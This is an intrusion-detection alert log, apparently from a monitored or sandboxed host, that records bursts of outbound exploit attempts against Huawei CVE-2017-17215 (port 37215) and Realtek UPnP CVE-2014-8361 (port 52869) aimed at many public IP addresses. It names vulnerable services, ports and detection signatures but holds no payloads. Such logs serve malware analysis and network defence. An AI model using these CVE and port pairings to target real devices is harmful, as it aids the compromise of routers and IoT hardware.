ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 191.94.176.193

Timestamp:	07/20/24-23:01:06.564866
SID:	2027339
Source Port:	46244
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.6.210.49

Timestamp:	07/20/24-23:01:22.737560
SID:	2829579
Source Port:	38314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.92.32.174

Timestamp:	07/20/24-23:01:12.358593
SID:	2829579
Source Port:	60566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.153.35.0

Timestamp:	07/20/24-23:01:06.809008
SID:	2835222
Source Port:	38832
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.10.132.222

Timestamp:	07/20/24-23:01:32.260443
SID:	2829579
Source Port:	56116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.122.225.93

Timestamp:	07/20/24-23:01:06.808312
SID:	2835222
Source Port:	38322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.10.30.221

Timestamp:	07/20/24-23:01:06.800492
SID:	2835222
Source Port:	57702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.238.114.207

Timestamp:	07/20/24-23:01:25.391404
SID:	2829579
Source Port:	43648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 72.60.254.31

Timestamp:	07/20/24-23:01:14.526400
SID:	2027339
Source Port:	36894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 178.42.122.244

Timestamp:	07/20/24-23:01:06.805919
SID:	2829579
Source Port:	46022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.135.156.196

Timestamp:	07/20/24-23:00:59.022895
SID:	2835222
Source Port:	42636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.98.209.55

Timestamp:	07/20/24-23:01:32.276800
SID:	2835222
Source Port:	42208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 114.104.89.214

Timestamp:	07/20/24-23:00:59.022391
SID:	2835222
Source Port:	49894
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.52.27.4

Timestamp:	07/20/24-23:00:59.056488
SID:	2829579
Source Port:	55454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 184.235.53.151

Timestamp:	07/20/24-23:01:07.264780
SID:	2027339
Source Port:	53544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.6.39.226

Timestamp:	07/20/24-23:01:36.846304
SID:	2835222
Source Port:	47890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.247.96.44

Timestamp:	07/20/24-23:01:27.276711
SID:	2829579
Source Port:	41438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.235.134.113

Timestamp:	07/20/24-23:01:06.823879
SID:	2835222
Source Port:	46376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 153.88.175.187

Timestamp:	07/20/24-23:01:03.925942
SID:	2027339
Source Port:	37840
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.185.246.104

Timestamp:	07/20/24-23:01:04.893876
SID:	2829579
Source Port:	48956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 87.22.11.17

Timestamp:	07/20/24-23:01:14.522654
SID:	2831300
Source Port:	43634
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.22.249.40

Timestamp:	07/20/24-23:01:32.257456
SID:	2829579
Source Port:	45282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.182.149.227

Timestamp:	07/20/24-23:01:02.630936
SID:	2829579
Source Port:	46242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 77.182.150.37

Timestamp:	07/20/24-23:01:14.539913
SID:	2027339
Source Port:	57754
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 67.42.171.251

Timestamp:	07/20/24-23:01:22.745836
SID:	2835222
Source Port:	39904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 60.252.188.181

Timestamp:	07/20/24-23:01:12.357339
SID:	2829579
Source Port:	38964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.75.195.94

Timestamp:	07/20/24-23:01:27.222234
SID:	2835222
Source Port:	53412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 17.173.199.209

Timestamp:	07/20/24-23:01:25.414531
SID:	2835222
Source Port:	60580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.253.226.135

Timestamp:	07/20/24-23:01:12.504870
SID:	2835222
Source Port:	47782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 162.26.5.38

Timestamp:	07/20/24-23:01:14.546238
SID:	2027339
Source Port:	35956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 187.248.171.89

Timestamp:	07/20/24-23:01:05.481947
SID:	2025132
Source Port:	55128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 62.204.49.132

Timestamp:	07/20/24-23:01:14.501572
SID:	2027339
Source Port:	33916
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 199.7.187.18

Timestamp:	07/20/24-23:01:02.699257
SID:	2829579
Source Port:	59636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 62.126.184.91

Timestamp:	07/20/24-23:01:14.530141
SID:	2831300
Source Port:	39228
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 70.153.147.86

Timestamp:	07/20/24-23:01:17.788569
SID:	2835222
Source Port:	52000
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.9.161.134

Timestamp:	07/20/24-23:01:14.998444
SID:	2835222
Source Port:	44742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.113.144.11

Timestamp:	07/20/24-23:01:04.879348
SID:	2835222
Source Port:	34120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 170.201.104.199

Timestamp:	07/20/24-23:01:14.517250
SID:	2831300
Source Port:	40572
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.20.227.180

Timestamp:	07/20/24-23:01:22.737893
SID:	2829579
Source Port:	56356
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.243.107.118

Timestamp:	07/20/24-23:01:02.707801
SID:	2829579
Source Port:	41094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.101.162.77

Timestamp:	07/20/24-23:01:04.841989
SID:	2835222
Source Port:	34046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.166.232.148

Timestamp:	07/20/24-23:01:08.455371
SID:	2835222
Source Port:	33714
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.246.213.216

Timestamp:	07/20/24-23:01:27.293207
SID:	2835222
Source Port:	57546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.212.194.18

Timestamp:	07/20/24-23:01:22.801622
SID:	2835222
Source Port:	46990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.91.190.22

Timestamp:	07/20/24-23:01:25.414531
SID:	2835222
Source Port:	58032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 223.161.169.143

Timestamp:	07/20/24-23:01:03.934569
SID:	2025132
Source Port:	59994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.149.160.135

Timestamp:	07/20/24-23:01:06.812618
SID:	2835222
Source Port:	54886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.201.96.18

Timestamp:	07/20/24-23:01:25.389915
SID:	2829579
Source Port:	58430
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 206.239.43.25

Timestamp:	07/20/24-23:01:07.562020
SID:	2025132
Source Port:	53244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.13.135.234

Timestamp:	07/20/24-23:01:36.794115
SID:	2829579
Source Port:	37164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.189.146.222

Timestamp:	07/20/24-23:01:04.870311
SID:	2835222
Source Port:	50726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 39.240.110.128

Timestamp:	07/20/24-23:01:06.530408
SID:	2025132
Source Port:	58456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.24.107.244

Timestamp:	07/20/24-23:01:04.917925
SID:	2829579
Source Port:	37074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.222.191.140

Timestamp:	07/20/24-23:01:12.490733
SID:	2835222
Source Port:	52648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.1.71.80

Timestamp:	07/20/24-23:01:25.390959
SID:	2829579
Source Port:	50694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.140.191.150

Timestamp:	07/20/24-23:01:22.748875
SID:	2835222
Source Port:	32862
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 78.8.181.144

Timestamp:	07/20/24-23:01:14.544045
SID:	2831300
Source Port:	52052
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 8.85.166.254

Timestamp:	07/20/24-23:01:06.669743
SID:	2025132
Source Port:	42584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.115.242.85

Timestamp:	07/20/24-23:01:12.485458
SID:	2829579
Source Port:	34636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 122.211.99.32

Timestamp:	07/20/24-23:01:22.737021
SID:	2829579
Source Port:	42054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 84.177.161.48

Timestamp:	07/20/24-23:01:32.260444
SID:	2835222
Source Port:	55558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 70.116.57.7

Timestamp:	07/20/24-23:01:02.669609
SID:	2835222
Source Port:	48326
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 50.131.46.205

Timestamp:	07/20/24-23:01:14.574230
SID:	2027339
Source Port:	51640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.63.136.39

Timestamp:	07/20/24-23:01:22.744419
SID:	2835222
Source Port:	42520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 92.52.112.233

Timestamp:	07/20/24-23:01:06.253723
SID:	2027339
Source Port:	50566
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 160.161.205.189

Timestamp:	07/20/24-23:01:06.884008
SID:	2025132
Source Port:	42042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 170.23.175.88

Timestamp:	07/20/24-23:01:14.539379
SID:	2831300
Source Port:	44524
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 168.182.205.114

Timestamp:	07/20/24-23:01:04.841989
SID:	2829579
Source Port:	38290
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 101.150.57.159

Timestamp:	07/20/24-23:01:27.354360
SID:	2027339
Source Port:	59984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 129.209.221.62

Timestamp:	07/20/24-23:01:04.738781
SID:	2027339
Source Port:	59122
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.150.102.141

Timestamp:	07/20/24-23:01:27.236376
SID:	2835222
Source Port:	36960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.43.44.167

Timestamp:	07/20/24-23:02:06.594057
SID:	2835222
Source Port:	43342
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.214.221.88

Timestamp:	07/20/24-23:01:22.799665
SID:	2835222
Source Port:	50226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.158.220.112

Timestamp:	07/20/24-23:01:12.374034
SID:	2835222
Source Port:	36692
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 59.49.93.128

Timestamp:	07/20/24-23:01:32.199687
SID:	2835222
Source Port:	46120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 161.250.92.81

Timestamp:	07/20/24-23:01:12.356686
SID:	2829579
Source Port:	33370
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 104.26.83.71

Timestamp:	07/20/24-23:01:04.219068
SID:	2027339
Source Port:	43308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 192.136.158.102

Timestamp:	07/20/24-23:01:04.858015
SID:	2829579
Source Port:	40242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.126.248.157

Timestamp:	07/20/24-23:01:06.801053
SID:	2835222
Source Port:	49606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 171.255.58.196

Timestamp:	07/20/24-23:01:04.848605
SID:	2835222
Source Port:	56222
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.108.63.191

Timestamp:	07/20/24-23:01:32.199190
SID:	2835222
Source Port:	34084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 162.202.222.182

Timestamp:	07/20/24-23:01:06.649751
SID:	2025132
Source Port:	34368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 103.178.1.192

Timestamp:	07/20/24-23:01:27.360753
SID:	2027339
Source Port:	39262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.175.23.63

Timestamp:	07/20/24-23:01:27.363404
SID:	2027339
Source Port:	40174
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.161.182.208

Timestamp:	07/20/24-23:01:32.271087
SID:	2829579
Source Port:	43364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 173.132.232.37

Timestamp:	07/20/24-23:01:02.699257
SID:	2829579
Source Port:	56702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.79.194.18

Timestamp:	07/20/24-23:01:22.834271
SID:	2835222
Source Port:	41558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 1.212.57.243

Timestamp:	07/20/24-23:01:07.330081
SID:	2027339
Source Port:	35222
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 13.164.169.253

Timestamp:	07/20/24-23:01:14.513211
SID:	2027339
Source Port:	48442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 132.227.49.42

Timestamp:	07/20/24-23:01:02.613618
SID:	2835222
Source Port:	44020
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.177.103.8

Timestamp:	07/20/24-23:01:06.813789
SID:	2829579
Source Port:	36270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 157.51.202.158

Timestamp:	07/20/24-23:01:27.354009
SID:	2831300
Source Port:	34352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.159.214.118

Timestamp:	07/20/24-23:01:22.810997
SID:	2829579
Source Port:	40688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.166.87.182

Timestamp:	07/20/24-23:01:06.798361
SID:	2835222
Source Port:	53378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.51.155.134

Timestamp:	07/20/24-23:01:08.459273
SID:	2829579
Source Port:	54206
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 165.40.137.113

Timestamp:	07/20/24-23:01:20.463712
SID:	2027339
Source Port:	46486
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.204.18.19

Timestamp:	07/20/24-23:01:02.620832
SID:	2835222
Source Port:	41164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.43.150.29

Timestamp:	07/20/24-23:01:04.853320
SID:	2835222
Source Port:	37322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 54.236.238.51

Timestamp:	07/20/24-23:01:14.559132
SID:	2831300
Source Port:	59528
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 122.167.75.170

Timestamp:	07/20/24-23:01:03.955764
SID:	2025132
Source Port:	37530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 166.150.19.163

Timestamp:	07/20/24-23:01:05.950140
SID:	2027339
Source Port:	47008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

